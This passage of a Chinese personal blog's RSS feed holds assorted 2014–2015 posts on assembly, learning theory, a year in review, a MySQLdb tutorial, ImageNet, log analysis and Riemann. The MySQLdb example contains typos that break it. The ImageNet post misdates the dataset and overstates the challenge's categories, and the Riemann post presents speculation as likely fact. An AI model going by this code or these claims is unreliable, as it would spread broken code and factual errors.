1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 _g: pushl %ebp movl %esp, %ebp pushl %eax movl 8(%ebp), %eax movl %eax, -4(%ebp) movl -4(%ebp), %eax addl $999, %eax ## imm = 0x3E7 addl $4, %esp popl %ebp retl _f: pushl %ebp movl %esp, %ebp subl $8, %esp movl 8(%ebp), %eax movl %eax, -4(%ebp) movl -4(%ebp), %eax movl %eax, (%esp) calll _g addl $8, %esp popl %ebp retl _main: pushl %ebp movl %esp, %ebp subl $24, %esp movl $0, %eax movl $0, -4(%ebp) movl $0, (%esp) movl %eax, -8(%ebp) ## 4-byte Spill calll _f addl $1, %eax addl $24, %esp popl %ebp retl 下面我们来分析这段代码的行为。</description></item><item><title>什么是泛函空间的大数定律？它是机器学习理论的里程碑吗？</title><link>https://changkun.de/blog/posts/%E4%BB%80%E4%B9%88%E6%98%AF%E6%B3%9B%E5%87%BD%E7%A9%BA%E9%97%B4%E7%9A%84%E5%A4%A7%E6%95%B0%E5%AE%9A%E5%BE%8B/</link><pubDate>Tue, 17 Feb 2015 17:41:37 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%BB%80%E4%B9%88%E6%98%AF%E6%B3%9B%E5%87%BD%E7%A9%BA%E9%97%B4%E7%9A%84%E5%A4%A7%E6%95%B0%E5%AE%9A%E5%BE%8B/</guid><description>&lt;blockquote>
&lt;p>欧长坤初次发表于『&lt;a href="http://www.zhihu.com/question/27462946">知乎&lt;/a>』, 转载请注明出处。&lt;/p>
&lt;/blockquote>
&lt;p>这个问题问得很深刻，人们花了很长的时间才领悟到这个问题的答案，所以解释起来有点费力。我这里尝试性地做一个解释。
首先，我们需要搞明白三件事情：什么是一个学习问题、什么是风险最小化、什么是经验风险最小化归纳原则。&lt;/p>
&lt;h3 id="什么是学习问题">&lt;strong>什么是学习问题？&lt;/strong>&lt;/h3>
&lt;p>对于一个学习问题而言，给定了训练样本$(x_1,y_1),(x_2,y_2), &amp;hellip; , (x_l,y_l)$，而训练的样本是根据联合分布$F(x,y)=F(x)F(y|x)$抽取的l个独立同分布的观测。学习问题就是从给定的函数集$f(x,\alpha),\alpha \in \Lambda$中选出能够最好地逼近训练样本的函数，换句话说，就是用最优函数估计样本背后蕴含的统计规律——用$f(x,\alpha)$估计$y$。
注意，$\Lambda$是参数集合，参数$\alpha\in\Lambda$并不一定必须是向量，可以是任意多抽象参数。&lt;/p></description></item><item><title>2014 年终总结</title><link>https://changkun.de/blog/posts/2014-summary/</link><pubDate>Wed, 24 Dec 2014 15:28:56 +0000</pubDate><guid>https://changkun.de/blog/posts/2014-summary/</guid><description>还没到年根儿，却已经忍不住开始默默地盘点。2014年对我而言感受最深的一个词，就是修行。 有人说，世人痴愚、真妄难辨，人间殊途尽是同归，一切尽是福报，关努力什么事。 有人说，你那么努力，忍受那么多寂寞和纠结，也没觉得你有多优秀。 修行为何，为何修行？且听我娓娓道来。
一、关于奋斗 {% centerquote %} I have never let anyone else interfere with my education. {% endcenterquote %}
还是和去年一样，从美赛说起吧。 美赛的时候有几个小插曲，也算是比较难忘的经历，有一个队友原本应该赶回学校一同奋战，却因天气原因无法赶到。
当然，这不是最有趣的，最有趣的是，我三个人竟然同时搞错了比赛时间，原本应该持续四天的比赛被我们当做了三天。
也就是说我整整提前了一天提交了论文。在第三天的晚上，我和在学校的队友黄沐简直急得火急火燎，看着其他比赛的同志们，我们俩心理是这么想的：“我去…等会儿早上八点就要交paper了你们真的大丈夫吗…竟然回去睡觉…而且比赛的最后一个晚上了竟然一个老师都没有…”。而且按去年的经验，邮件提交了paper之后应该会有一份收到确认的邮件，而今年却迟迟没有出现。（比赛结束后才知道今年的比赛没有邮件确认的回复）
当然啦，很自然的过了早上八点以后我们就意识到是我们自己傻逼了…原来距离比赛结束还有整整24小时，果断滚回去睡觉了…
其实看到最后证书上是个M奖的时候自己还是小激动了一下，不过马上就听到说章谢刘诸神们竟然拿了O奖，我觉得我还是滚去机房默默敲代码了［1］。
春节很快就过去了，我毫不犹豫的进一步完善到现在为止综合代码量已经接近四万行的项目（注意：行数越多，水平越渣，你可以想象我有多渣了），并继续推进它，无论怎样，人们总会希望将自己的作品在最完美的时候展示给他人，当然我也不例外。
所以为了给自己营造一种满满的期待感，便带着去年大创作品的微小改进版去参加了省内的某个比赛，当然，我不能妄加猜测评审老师如何如何，但我成功的在一个平台上充分的展示了它们，以及这个项目未来的意义。至于是否有吸引到其他人，他人是否能够理解，我觉得都不太重要了。
这个项目花了我很长时间来思考，在架构整个项目的过程中，我几乎独立的“重新发明”了计算机科学领域的几个核心学科。
比如，对于一个完全对协议栈没有概念的人，在思考如何让整个服务器架构变得自洽时，我几乎重新发明的几个关键性的网络协议；
又比如，对于一个仅写过一些拙劣的C++代码（当然现在也很烂）、只懂得基本OO思想的人，在思考如何保证数据传递的有效性时，我几乎重新发明了lambda演算；
还比如，对于一个完全对数据库系统没有概念的人，在思考如何使用txt对海量数据进行IO时，我几乎重新发明了数据库；
再比如，对于一个完全没有详细研究过操作系统设计的人，在思考如何部署分布式集群服务器时，我几乎重新发明了操作系统中关于并发控制、内存cache与抢占等几部分； 等等等等…
在这个项目里面，有很多我自认为很帅气的架构方式，比方说项目的某部分infrastructure是我独立开发的一套专门给我自己用的支持分布式集群的并行ML算法框架（我现在占时把它叫做OOMLPalallel.framework，当然肯定不是最后的名字啦，肯定要换一个既文艺又牛逼的名字，好吧，虽然写了一年多，支持的算法也只有五个Orz&amp;hellip; ），尽管网络上可能已经有类似商业实现，但是作为一个程序员，总会有自己全新打磨一个轮子的冲动，所以也算是自己亲身经历了一次大型项目开发的快感。
我预支了几个月的生活费租用服务器抓取了新浪微博的所有我想要的信息，只是为了有足够的计算资源，验证我的框架究竟能不能奏效。
所以到了项目中期答辩的时候就开始各种忍不住了，本来这套ML框架我打算墨迹到最终结项时候再搬出来吹牛逼，却还是忍不住偷偷在答辩的Keynote里面透露了一点点影子。结果没想到效果很不成功，已经花了一篇日志［2］的篇幅来描写我自己的看法，这里就不继续赘述了。
无论怎样，我还是决定继续奉行所有部分一定要在基本完工、基本完美的时候向世界宣布。所以如果不出什么意外的话，我计划等到项目结题的时候我再把 all these stuff 全部开源，也算是作为我大学时光里耗时最长、投入最多项目的一个印记吧。
暑假时算是上了一门比较正式的外语课了，这门课的名字叫做人机交互。Hussmann教授一股带有浓烈德语腔的英文说得我一惊一乍（澄清一下，是我英语烂，不是老师说得烂），到现在我仍然非常惭愧的对不起这门课的是，有好几堂课真的是全程天书完全没有听明白说了什么。
值得一提的是，这门课几乎彻底激发了我体内潜在的处女座特性（好吧虽然我是天秤Orz..），尽管以前我对用户体验有一些个人的拙劣看法，但是上过这门课并读过推荐的基本读物之后，我反正是感觉世界观都被小小的波动了一下的。
大一的时候就听学长学姐们说，大三之后真的是非常的忙，简直忙透了。我一直都不以为然，结果当我真正经历的时，还真是从开学忙到期末，抛开自己给自己安排的休息时间基本上就是跑跑跑。
比如什么一天到晚都是课即啦；
比如周末还要去上班啦；
比如根本不敢生病啊一生病就是校医院玩不起的那种得天天往人民医院跑啦；
比如什么报个帐要先预约再签字后画押，从开始上班时排队排到下班都没有排到我，来来回回折腾至少得两三个星期啦；
等等。
基本上都是整个人感觉要疯掉了的节奏。
当然，忙中作乐也是很常见的，讲课就是一件非常有趣的事。我第一次上讲台不仅是初中，而且还是数学老师叫我上的台。从那时起，几乎每次有机会上台都有让我爽到。我一直觉得都很幸运，高中的数学老师也很帅，也上我上过好几起讲台。肚子里只要是攒了一点干货，总是会找着机会吹吹牛逼。
不过令我没想到的是数学建模协会又一次让我去给学弟学妹们讲课，当然，虽然口头上有所推迟，其实还是很高兴的答应了。逮着机会能在学弟学妹们面前吹吹牛逼，何乐而不为(￣▽￣)呢。值得一提的是，这届新生真的好爱学习啊！
去年的这个时候，我就决定要做一个视频教程，一做就是半年［3］。尽管网上有很多网友催我继续更新，但是就我现在这个忙活劲儿，短期之内是不太可能的了。不过，下次更新的时候，可能就是一个全新的系列了。
但是今年重讲建模的时候，我新做了几份，内容精简了不少，我个人感觉也精致了不少，就我个人的感触，经过了一年的沉淀，以及一次获奖的实战，对建模的认识更进了一步，算做这个系列的Version2，我个人还是非常满意的。一旦我有时间，就重制整个教程。
二、关于感悟 {% centerquote %} By appreciation, I make excellence in others my own property.</description></item><item><title>2014 读书清单</title><link>https://changkun.de/blog/posts/2014-reading/</link><pubDate>Tue, 23 Dec 2014 21:22:55 +0000</pubDate><guid>https://changkun.de/blog/posts/2014-reading/</guid><description>睡前在知乎上看到一个类似的问题，于是也忍不住也自己盘点了一番，看的书不多，不过列出来的我感觉都是精品。
技术类的书就不说了，主要分享一下更偏人文类的吧。
这些书分别有实体版购买的，有多看购买的，也有kindle版购买的。
下面就是清单，考试完再加一下自己的推荐理由吧：
《创业时：我们在知乎聊什么》 知乎编著
《金钱有术》 知乎编著
《金融的解释》 王福重著
《我知道你不知道的自己在想什么》果壳著
《工匠精神：向价值型员工进化》付守永著
《乔纳森传》 利恩德·卡尼著
《失乐园》渡边淳一著
《Sophie&amp;rsquo;s Choice》 William Styron著
《极简欧洲史》 约翰·赫斯特著
《怪诞心理学2：不可思议的心里操控》 理查德·怀斯曼著
《颠覆医疗：大数据时代的个人健康革命》凯文·凯利著
《教训：互联网创业必须避免的八大误区》 腾讯科技频道著
《跨界的诱惑：中国软件外包和当下社会转型的个人记录和思考》 张涛著
《跨界：开启互联网与传统行业融合新趋势》 腾讯科技频道著
《普林斯顿数学指南（第三卷）》 Timothy Gowers 主编
《生命不息 奋斗不止》 罗永浩著
《硅谷百年史》 阿伦·拉奥等著
《摄影的想象与创新 超现实摄影》 丹尼拉·鲍克著
《乔布斯的魔力演讲》 卡迈恩·加洛著
《呼兰河传》 萧红著
《生死场》 萧红著
《参与感：小米口碑内部营销手册》 黎万强著
《黑客与画家》 Paul Graham著
《大道至易：实践者的思想》 周爱民著</description></item><item><title>WatchKit框架与WatchApp交互初窥</title><link>https://changkun.de/blog/posts/watchkit-and-watchapp/</link><pubDate>Thu, 20 Nov 2014 13:21:45 +0000</pubDate><guid>https://changkun.de/blog/posts/watchkit-and-watchapp/</guid><description>&lt;p>早晨起床看邮件，发现收到了水果发来的WatchKit框架发布通知，遂中午下课马上开始看框架，发现WatchKit暂时作为一个iPhone App的Extension，还算是比较简单，Apple Watch只负责显示，一切计算都由iPhone完成。但是粗略读了文档后相信水果肯定会把Apple Watch逐步打造为一个独立平台，毕竟这个框架还是beta版。&lt;/p></description></item><item><title>Python-MySQLdb 教程</title><link>https://changkun.de/blog/posts/python-mysqldb-tutorial/</link><pubDate>Thu, 06 Nov 2014 13:38:07 +0000</pubDate><guid>https://changkun.de/blog/posts/python-mysqldb-tutorial/</guid><description>Python操作MySQL，一个常用的方案就是使用MySQLdb库，安装在之前的日志已经介绍过了： Mac下新安装的MySQL无法登陆root用户解决方法
下面我们来看看如何使用Python操作MySQL，基本逻辑分为四个步骤。
包含MySQLdb库 1 import MySQLdb 与MySQL建立连接 1 conn = MySQLdb.connet(host=&amp;#39;localhost&amp;#39;, user=&amp;#39;root&amp;#39;;, passwd=&amp;#39;root&amp;amp;quot;, db = &amp;#39;euryugasaki&amp;#39;, port=3306) connect()方法用来提供与MySQL的连接，接受多个参数，返回连接的对象： host: 数据库主机名，默认是本地主机 user: 数据库登录用户，默认是当前用户 passwd: 数据库登录密码，默认是空 db: 使用的数据库名，没有默认值 port: MySQL服务使用TCP端口，默认3306
连接对象提供了对事务操作的支持，标准方法有： commit() 提交 插入更新数据的时候一定要执行commit()否则不能真正的插入数据。 rollback() 回滚
运行SQL语句并接受返回值 1 2 cursor = conn.cursor() n = cursor.execute(sql,param) 我们需要使用连接返回的对象获得一个cursor对象，并使用cursor提供的方法来进行工作。这类方法包括两大类： a) 执行命令 callproc(self, procname, args): 用来执行存储过程，接受的参数为存储过程名和参数列表，返回值为受影响的行数. execute(self, query, args): 执行单条SQL语句，接受的参数为SQL语句本身和使用的参数列表，返回值为受影响的行数. executemany(self, query, args): 执行单条SQL语句，但是重复执行参数列表里的参数，返回值为受影响的行数. nextset(self): 移动到下一个结果集 b) 接受返回值 fetchall(self):接受全部的返回结果行.</description></item><item><title>谈谈 CV</title><link>https://changkun.de/blog/posts/talk-about-cv/</link><pubDate>Tue, 04 Nov 2014 06:50:30 +0000</pubDate><guid>https://changkun.de/blog/posts/talk-about-cv/</guid><description>谈CV，其实只需要从著名的Image Net Challenge说起就已经足够了。
多年前， CV的data set都非常非常小，几百个category几万张image已经顶天了，使得无法设计complex vision model。否则由于模型复杂度太高，data set太小，最终只能Overfitting。
2012年的时候，有个叫Feifei Li的女士人发起了巨型数据库ImageNet。如今ImageNet上已经有了接近1500W张图片了。每张图都是人工记录图片中物体的名字，并向全世界宣布：同学们，你们谁开发出了新的Object recognition算法，就在这个数据库跑跑看吧。 所以，2012年的时候，就有了 Large Scale Visual Recognition Challenge，而比赛的结果会放在每年年底的NIPS公布。 当时大多数“科研工作者&amp;quot;还在用传统的computer vision算法时，DL大牛Hinton放出大招——DeepNet。
差距是这样的：
第一名DeepNet的error rate是0.16422 第二名是日本东京大学，error rate是0.2617 第三名是牛津大学，error rate是0.2679 其实仔细对比第二三名的具体实现，他们使用的技术框架都非常接近，基本上就是传统的local descriptor+feature compression这一套。而在这套实现上，两者的差距几乎是可以忽略的——看看DeepNet的error rate就知道了。
当时Hinton大神就放话了：“你要是没有参加前十几年的NIPS，没有关系，因为DeepNet今年才开始真正的work了”。虽然DeepNet如此牛逼的效果，但是很多的“业内人士”就觉得很不爽了，觉得这玩意儿简直就是扯淡。我觉得可能有下面几个原因：
DeepNet很可能只是Overfitting，因为参数实在是太多了…6KW+ DeepNet实际上是一个黑箱，还不能从理论上详细分析里面到底在干嘛，对CV的贡献可能很有限。 DeepNet只能解决Object recognition这一个问题，而想要做到Object detection、segmentation这些基本问题，基本上也就残废了。 其实，在0.5个百分点的performance提升都可以被顶级会议收录为“major contribution”这样的一个时代，被一个和最近十年computer vision尤其是object recognition领域的进展几乎没有任何交集的方法超过了十个左右的百分点，难免出现大众不接受的情况。但是，一场“革命”却已经开始了。
一年后，2013年，新一轮的large scale visual recognition challenge又开始了，这时候，DeepNet却已经统一江湖了：排名第一的算法，在没有额外的traning data的情况下，跑到了error rate 0.1174这样的成绩。
这个成绩是这样的：随机挑选一张图片，扔给算法去跑，算法返回五个结果。如果有一个结果猜对了，那么就算作正确。也就是说，如果允许瞎猜五次，第一名已经能够拿到90%的准确率。注意，这里的object category有两万多种，几乎覆盖了所有类别。
那么，DeepNet的瓶颈在什么地方呢？看看CVPR14paper的title and abstract，CV圈子里在两个方面做improvement，但是却没有push。最终搞得DeepNet越来越像一门具有浓烈性质的实验学科，大概就是这个样子：
如果对2012年Hinton大神的架构修改太多，将会出现各种惨不忍睹，各种毁于一旦。 很少人有强劲的数学功底能够从理论上分析DeepLearning到底在干嘛，而即便是有强劲数学功底的那些人估计也看不上这套理论。 可惜，图片数量实在是太过庞大，从工程上来看，在几周或者几天时间内完成百万级甚至千万级的Image data，真的是太难太难了。 这样的话我更有理由去相信：只要愿意花时间，一个本科学生train出来的DeepNet和那些在Google百度工作了积累了十几年经验的工程师、教授train出来的，没有太大区别。
不知今年的结果不知道怎么样，得等到12月份的NIPS14了。也不知学术界什么时候能够找对方向，结束这个目前以实验报告为成果展示的探索阶段，从理论上，从根本上解释这个被“炒”得“伟大”的理论究竟为什么如此奏效。
参考与进一步阅读
ImageNet Large Scale Visual Recognition Competition 2012 ImageNet Large Scale Visual Recognition Competition 2013 Conference on Computer Vision and Pattern Recognition 2014 https://code.</description></item><item><title>简单的日志分析</title><link>https://changkun.de/blog/posts/simple-logging-analysis/</link><pubDate>Wed, 29 Oct 2014 21:33:54 +0000</pubDate><guid>https://changkun.de/blog/posts/simple-logging-analysis/</guid><description>今天听P哥说写了个爬虫抓我网站玩，所以就比较好奇分析了一下P哥来抓我网站的一个行为。
其实听着分析很高端的样子，本来我打算用python写个脚本的，后来一想干脆就用awk算了，也就简单分析一下，等以后有时间部署个分析平台。
这是日志格式:
1 2 3 4 5 6 218.5.46.14 - - [26/Jun/2013:19:21:28 +0800] &amp;#34;GET / HTTP/1.1&amp;#34; 200 1115 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1&amp;#34; - 218.5.46.14 - - [26/Jun/2013:19:21:29 +0800] &amp;#34;GET /favicon.ico HTTP/1.1&amp;#34; 404 564 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1&amp;#34; - 218.5.46.14 - - [26/Jun/2013:19:21:45 +0800] &amp;#34;-&amp;#34; 400 0 &amp;#34;-&amp;#34; &amp;#34;-&amp;#34; - 220.181.126.47 - - [26/Jun/2013:19:29:02 +0800] &amp;#34;GET / HTTP/1.</description></item><item><title>图书馆真是越来越无趣了</title><link>https://changkun.de/blog/posts/%E5%9B%BE%E4%B9%A6%E9%A6%86%E7%9C%9F%E6%98%AF%E8%B6%8A%E6%9D%A5%E8%B6%8A%E6%97%A0%E8%B6%A3%E4%BA%86/</link><pubDate>Tue, 28 Oct 2014 10:02:46 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%9B%BE%E4%B9%A6%E9%A6%86%E7%9C%9F%E6%98%AF%E8%B6%8A%E6%9D%A5%E8%B6%8A%E6%97%A0%E8%B6%A3%E4%BA%86/</guid><description>第一次有图书馆概念的时候是初中，还是从数学老师那儿听来的，当时为了能够进去借书，好像还费了点儿功夫，记得初中的图书馆是不能在书架（虽然只有不到二十个架子的书）上直接查阅的，管图书馆的老师会给你一盒卡片，卡片上只写了图书的名字，看上了，就把卡片取出来，让老师进去取，而且只能借一周，否则就得罚钱，作为一个连零花钱都得申请的小朋友当时真是深感忧伤。不过想想当时在这种规模的图书馆能够借到北大文革时期的高等代数的教材，也是觉得很幸运，也不知道现在图书馆拆了没有。
高中就没有图书馆了，所以那段时间我一再怀疑是不是高中还没有初中牛逼。没有图书馆，就让我养成了一个比较“坏”的习惯：买书。
我似乎是那座县城里面比较早使用淘宝的人，初三的时候为了买魔方，才好不容易从我妈成功申请允许我办网银。然后才发现淘宝是一个逆天的玩意，所以从那以后我的所有数学书都是从淘宝上获取的。记得高二那会儿听网友说陈天权编了一本逆天的数学分析，果断就淘了一本回来，确实碾压以前读过的欧阳光中编的数学分析。作为一个爱买书胜过爱看书小朋友，如果本本书都自己买，实在是没有那个经济能力。所以后来准备高考，也就收敛了许多。
到了大学里，对图书馆的激情一下子又被调动了起来，大二以前，几乎一有时间就会往图书馆跑，尤其是大一，那会儿就如同乡巴佬进城，对大学图书馆的向往简直是无法言喻——太特么大了，看到满架子都是自己感兴趣的书，真是一件超级爽的事情。尤其是高二那会儿去长沙比赛的时候，到中南的图书馆仅仅短暂走了两圈，简直感觉就像进了天堂。而今天经过图书馆的时候，我实在是提不起进去的兴趣了，我觉得可能有几个原因：
图书馆资源相对陈旧，我感兴趣的图书多半早就已经读过至少一遍，或者已经自己买过了。
自己有了电脑并且拥有了能随时接入互联网的能力，还并具备轻量级的经济能力，图书馆资源的更新速度之缓慢实在是无法满足自身的需求了。借书？太慢了，还不如我上午下单，下午收货来得愉快。甚至，图书馆还不一定有。
毕竟是借的书，不能在书上“乱写乱画”，我有个癖好就是会把自己的一些想法附注在书的旁边（从费马那偷来的），所以这样的书也只能读读，不能把东西真正变成自己的，即便是摘抄下来。
图书馆对我而言现如今更像是一个能安静的看书的地方，但是，这样的话图书馆不就失去了它坐拥海量资源的优势了吗？说到底，还是信息化又在逐步干掉另一个“百年老树”了。</description></item><item><title>The worst Presentation</title><link>https://changkun.de/blog/posts/the-worst-presentation/</link><pubDate>Tue, 14 Oct 2014 17:15:00 +0000</pubDate><guid>https://changkun.de/blog/posts/the-worst-presentation/</guid><description>这是最糟糕的一次pre。想想之前我还饶有兴致的做着可能是这辈子最认真的keynote，各种神奇的特效，而实际收获的效果为零。
首先答辩的整个scene就很随意，在整个pre还没有正式开始之前我，我大致说明了一下，内容是：“这次pre的内容可能有点多，所以我可能语速有点快，如果有没听清楚的内容，及时打断我，这次pre的内容主要包括一下几个方面：……”…&amp;ldquo;我说一下，你注意主要围绕xxx说一下就行&amp;rdquo;…………无情的被插话，而且是完全无视我之前说了什么的插话，明明我正在说的就是你插话的内容。瞬间我想到了罗永浩的嘴脸。
所以我决定保持风度，像自如老大一样。但是内心仍然是非常的不爽，于是我果断决定切换到准备的第二套pre方案。
开始讲近场定位，本来这里有很多关于hci的idea，但是没有说出口，我知道说了和没说其实是一样的，所以干脆也就咽了下去。讲完后：”关于这里有疑问吗？“，我好像听到了有小声说了一句：”这家伙说的到底是什么东西？“………………what are you doing before?
开始讲machine learning和deep learning了，这是我最自豪和得意的part，但是我猜想除了周老师其他几个老师可能根本不懂我在说什么。
还真的是这样，开口就说我不知道convergence还怎么做这个algorithm。
我甚至怀疑ta到底不知道basic statistics model，开口就喷，也是醉了，我在keynote里提到convergence还不明确，这是诚实，看看那些诡异的才push 0.5个百分点的conference paper，他们什么都不说，研究paper的时候我也只有一路呵呵。
刚开始我还抱有幻想，尝试去解释清楚让ta理解为什么这个算法的convergence在theoretic analysis还做不到，说了一半我放弃了，whatever。
我想，关于cloud computing的idea全完没有传达，这部分的关键性idea才是这个project真正有趣的地方。可是得到的是不断提醒我注意时间，我想我也是醉了…明明才讲了五分钟不到…………………………说好的十分钟呢…能听我讲完吗？能听我说一句吗？明明时间花在了你们提问上，我的语速已经够快了………
最后强调了一下所有的result都会用GPL到我的homepage上，但我知道我的homepage不会有任何额外增加的UV，就像之前我描述他们现场行为表现的那样。
我猜想我可能get到了真相，其实nobody cares what are you create, what is the most creativity idea for the project, they just wanna finish this early.
又或许是我自作多情了，有点过分看重pre了，but I did all this seriously, at least.
好吧，我这个吐槽的习惯不好，对不起。</description></item><item><title>关于 Riemann</title><link>https://changkun.de/blog/posts/about-riemann/</link><pubDate>Fri, 10 Oct 2014 23:09:55 +0000</pubDate><guid>https://changkun.de/blog/posts/about-riemann/</guid><description>从数学的角度看，超越时代的人不在少数，就我最喜欢的，是黎曼。 我相信，任何对黎曼有一点了解的人都必定会承认他是一个天才，而任何看过他手稿的数学家必定会惊叹不已。
黎曼只活了39岁就病死了，是高斯的关门弟子。他这一生的成就就不在赘述，度娘和谷歌可以帮你了解。我只讲他的一点，也是最为人所知的，就是那个到现在都没有解决的黎曼猜想。
黎曼猜想提出到现在大约150年，简单的看来，这只是一个普通的对一个特殊的亚纯函数——黎曼zeta 函数——零点分布的性质的研究，经由欧拉的一个公式和素数的分布联系在了一起。大多数人觉得这只是一个数论里的问题，但重点是
黎曼和他的老师，高斯一样，论文如此简介，有说服力，但却令人完全看不透他是怎么产生的这样卓越的想法，其实，这背后是大量的实际推演，这就体现在他的手稿里。20世纪，计算机出现了，关于黎曼猜想，这时候数学家想用计算机来算出一部分非平凡零点的值，就像物理学家做实验一样。数学家数十年的研究里，总结出来了一套算法，但当要算的零点数目多到一定的时候，发现这个算法的效率实在是太低下。非平凡零点，即使是前几个，都是很难用手算的，尤其是还要达到一定精确程度，但是黎曼的论文中却给出了精确到小数点后五六位的几个零点值，后面有数学家对黎曼残存的手稿进行研究，发现其实黎曼不止算了这几个，而是算了十数个，最终，人们从他的手稿当中找回了黎曼的算法，简直就是天才的想法，其算法比起现有的简洁了不止一点点。凭这一点，超越时代足够了。
如果觉得以上理由不足，那么从黎曼的手稿中，我们几乎可以想象，当时黎曼可能给出了这个猜想的证明，可惜手稿在其去世时大部分被焚毁。但在残存的手稿中，现代数学家看到了那些黎曼尚未发表的定理，这些定理有大部分都是现代数学家没见过的，而部分经过验证，定理都是正确的，而且任意一条放在现代，都会是重要，乃至举世瞩目的数学发现。凭这一点，他足够超越时代了。
如果觉得黎曼不过对于数学来说是超越时代的，那么必须再提到黎曼猜想，当年希尔伯特和波利亚提出了一个猜想，几乎被默认是对的（因为尚未证明），就是：黎曼函数的非平凡零点与某个厄密算符的本征值相对应。这句话意思可能看着迷糊，但粗略的说，厄密算符可以用与表示量子力学的哈密顿量，在简单一点，就是他对应了一个新的量子力学体系，而经典的混沌体系是这个黎曼体系的一个近似。更深入的内容我也不能理解了，但就是这么个亚纯函数，和复杂量子体系，神经网络，等现实的物理图景紧密相连。无疑是自然的奇迹！
综上所述黎曼所创造的工作的一小部分，如果他不算超越时代的人，我想，这世界上就没有几个人算了，即使是乔布斯，也比不上他闪出的一点光辉。
相关参考：《黎曼猜想漫谈》卢海昌著</description></item><item><title>删除Mac MySQL</title><link>https://changkun.de/blog/posts/delete-mac-mysql/</link><pubDate>Fri, 12 Sep 2014 13:13:59 +0000</pubDate><guid>https://changkun.de/blog/posts/delete-mac-mysql/</guid><description>首先要停止MySQL的服务，可在偏好设置中停止其服务，然后执行下列命令
1 2 3 4 5 6 7 $ sudo rm /usr/local/mysql $ sudo rm -rf /usr/local/mysql* $ sudo rm -rf /Library/StartupItems/MySQLCOM $ sudo rm -rf /Library/PreferencePanes/My* $ sudo rm -rf /Library/Receipts/mysql* $ sudo rm -rf /Library/Receipts/MySQL* $ sudo rm -rf /var/db/receipts/com.mysql.* 编辑/etc/hostconfig，删除其中的MYSQLCOM=-YES-这行</description></item><item><title>大坑，难以置信的大坑！</title><link>https://changkun.de/blog/posts/%E9%9A%BE%E4%BB%A5%E7%BD%AE%E4%BF%A1%E7%9A%84%E5%A4%A7%E5%9D%91/</link><pubDate>Sun, 24 Aug 2014 23:21:02 +0000</pubDate><guid>https://changkun.de/blog/posts/%E9%9A%BE%E4%BB%A5%E7%BD%AE%E4%BF%A1%E7%9A%84%E5%A4%A7%E5%9D%91/</guid><description>上学期构思的项目，到这学期开学，随着逐步的深入，难以置信的不觉触碰到了如此之多的计算机科学的深坑：
项目定位是包含：人工智能、机器学习、计算机视觉、模式识别等高性能统计“智能”算法的集成框架编写等等。 架构的高并行分布式自动集群化部署方案的刚需，于是涉及到了：并行计算架构、集群自动化部署、分布式存储系统、高速缓存引擎架构（海量数据搜索引擎架构）等等。 开发上的各种问题：开发语言的选择（C/C++、Python、Objective-C、Swift）、架构变迁的考虑、开发成本的舍取、项目高质量管理等等。 待续……</description></item><item><title>从坐公交车想到的和看到的</title><link>https://changkun.de/blog/posts/%E4%BB%8E%E5%9D%90%E5%85%AC%E4%BA%A4%E8%BD%A6%E6%83%B3%E5%88%B0%E7%9A%84%E5%92%8C%E7%9C%8B%E5%88%B0%E7%9A%84/</link><pubDate>Wed, 30 Jul 2014 22:54:55 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%BB%8E%E5%9D%90%E5%85%AC%E4%BA%A4%E8%BD%A6%E6%83%B3%E5%88%B0%E7%9A%84%E5%92%8C%E7%9C%8B%E5%88%B0%E7%9A%84/</guid><description>序、起因 昨天做公交准备回学校的时候照常在车上掏出手机把玩，不过手机已经只剩下10%的电了，所以没耍几分钟手机就彻底牺牲了。
一路上人非常的挤，没有座位，所以开始猜测面前坐着这哥们儿啥时候下车。不料这哥们儿居然是做到倒数几站的位置，所以还是妥妥站了一路。感觉一路上没玩手机脑子想了很多收获还是挺大的，遂写篇日志记录一下好了。
一、想到的 一路上实在是发呆和蛋疼，脑子着实无聊，便顺带初步构思了一下如何给一个城市部署公交预测系统。
想法的起点源自上车时没抢到座位。公交车来的时候，看着车上空位非常多，可是还是没有抢到座位（丫的全挤在这上了）。一路上车上的人不但没有减少，反而越来越多越来越挤。这要是在前一站上车岂不是还能坐一路回来？所以有了下面的构思。
我们可以考虑“挖掘”一天中一条公交线路上的乘客数据啊，对一些重要的指标进行预测（当然，如果这套系统能够做到实时更新，那么就是最完美的状态了，这时候系统的预测将变得无比的精确，甚至给出一天中任意时刻任意站台的等车方案、最优乘车时间、最优乘车地点、最优……）：
任意时刻某站的下一辆公交车到达的等车时间 任意时刻所等站台下一辆公交车的乘客数量 任意一辆公交车在某站的上车、下车人数预测 一天中任意时刻，在某站上车，有空闲座位的概率（这才是重点啊） 等等…… 那么，哪些特征能作为数据挖掘的样本呢？也就是说我们可以记录哪些数据呢？首先，如果我们的人力、物力、财力实在是有限，可以一步一步的来，先做好一步，再考虑进一步挖掘下一步的数据：
一条路线上，每个站点$A_i(i=1,2,&amp;hellip;,m)$，在一天中，公交车到达时间的时间序列，$A_i=(t_i1, t_i2, t_i3, &amp;hellip;, t_in)$，这样呢，我们就把一天中的整个公交车的时间分布变成了一个$mn$的“时间矩阵”。 我们来进一步细化$t_{ij}$的特征，我们可以视$t_{ij}$为一个四维向量，这个四维向量$t_{ij} = ( arriveTime, getOnNum, getOffNum, emptySeatNum )$，第一个维度是公交车在站台i的第j个到达时间，第二个维度是上车的人数，第三个维度是下车人数，第四个维度是空位的数量（其实可以考虑减掉这个维度来优化数据集，这样的话海量数据挖掘起来更快，另一个原因是由于每辆车的座位数是定值，那么空闲座位数就可以被算出）。当我们把第一步的“时间矩阵”扩张为以向量为元素的矩阵时，我们的数据集一下子就扩大了4mn倍，在数据逐渐猛涨的系统下，挖掘出的结果将会更加刺激。 